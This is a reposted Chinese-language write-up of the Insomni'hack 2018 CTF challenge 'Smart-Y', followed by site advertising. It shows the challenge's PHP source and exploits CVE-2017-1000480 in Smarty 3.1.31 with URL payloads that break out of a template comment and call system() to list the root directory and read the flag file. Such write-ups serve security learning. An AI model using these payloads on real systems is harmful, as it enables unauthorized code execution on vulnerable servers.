Insomni'hack teaser 2018-Smart-Y-writeup

栏目: PHP · 发布时间: 7年前

内容简介:Insomni'hack teaser 2018-Smart-Y-writeup

Insomni’hack teaser 2018-Smart-Y-writeup

CVE-2017-1000480-Smarty-3-1-32-php代码执行-漏洞

题目

Last year, a nerd destroyed the system of Robot City by using some evident flaws. It seems that the system has changed and is not as evident to break now.

http://smart-y.teaser.insomnihack.ch

Solution

题目给了 源码 :

<?php

if(isset($_GET['hl'])){ highlight_file(__FILE__); exit; }
include_once('./smarty/libs/Smarty.class.php');
define('SMARTY_COMPILE_DIR','/tmp/templates_c');
define('SMARTY_CACHE_DIR','/tmp/cache');


class newsextends Smarty_Resource_Custom
{
   protected function fetch($name,&$source,&$mtime)
   {
	   $template = "The news system is in maintenance. Please wait a year. <a href='/console.php?hl'>".htmlspecialchars("<<<DEBUG>>>")."</a>";
	   $source = $template;
	   $mtime = time();
   }
}

// Smarty configuration
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->modifiers = array();
$smarty->enableSecurity($my_security_policy);
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);


$smarty->registerResource('news',new news);
$smarty->display('news:'.(isset($_GET['id']) ? $_GET['id'] : ''));

由源码的简洁性,推测是smarty框架的漏洞。通过扫目录可以发现存在smarty目录

Insomni'hack teaser 2018-Smart-Y-writeup

查看change-log,得出smarty版本为3.1.31

Insomni'hack teaser 2018-Smart-Y-writeup

利用 CVE-2017-1000480-Smarty-3-1-32-php代码执行-漏洞

http://smart-y.teaser.insomnihack.ch/console.php?id=*/system('ls /');//

Insomni'hack teaser 2018-Smart-Y-writeup

http://smart-y.teaser.insomnihack.ch/console.php?id=*/system('cat /flag');//

Insomni'hack teaser 2018-Smart-Y-writeup

flag:

INS{why_being_so_smart-y}

以上所述就是小编给大家介绍的《Insomni'hack teaser 2018-Smart-Y-writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

SSA:用户搜索心理与行为分析

SSA:用户搜索心理与行为分析

[美] 罗森菲尔德(Louis Rosenfeld) / 汤海、蔡复青 / 清华大学出版社 / 2014-4-1 / 59.00

何为站内搜索分析(SSA)?它如何帮助你挖掘用户搜索曰志,从中洞悉用户搜索心理和行为,从而有针对性地改善用户体验,提升网站价值?这些都可以从《SSA:用户搜索心理与行为分析》中找到答案。《SSA:用户搜索心理与行为分析》首先通过故事来说明SSA是如何使Vanguard集团起死回生的,简要介绍SSA并指导读者动手实践。其次,通过丰富的实例来介绍很多工具和方法,帮助读者着手分析用户查询数据,从中获得更......一起来看看 《SSA:用户搜索心理与行为分析》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具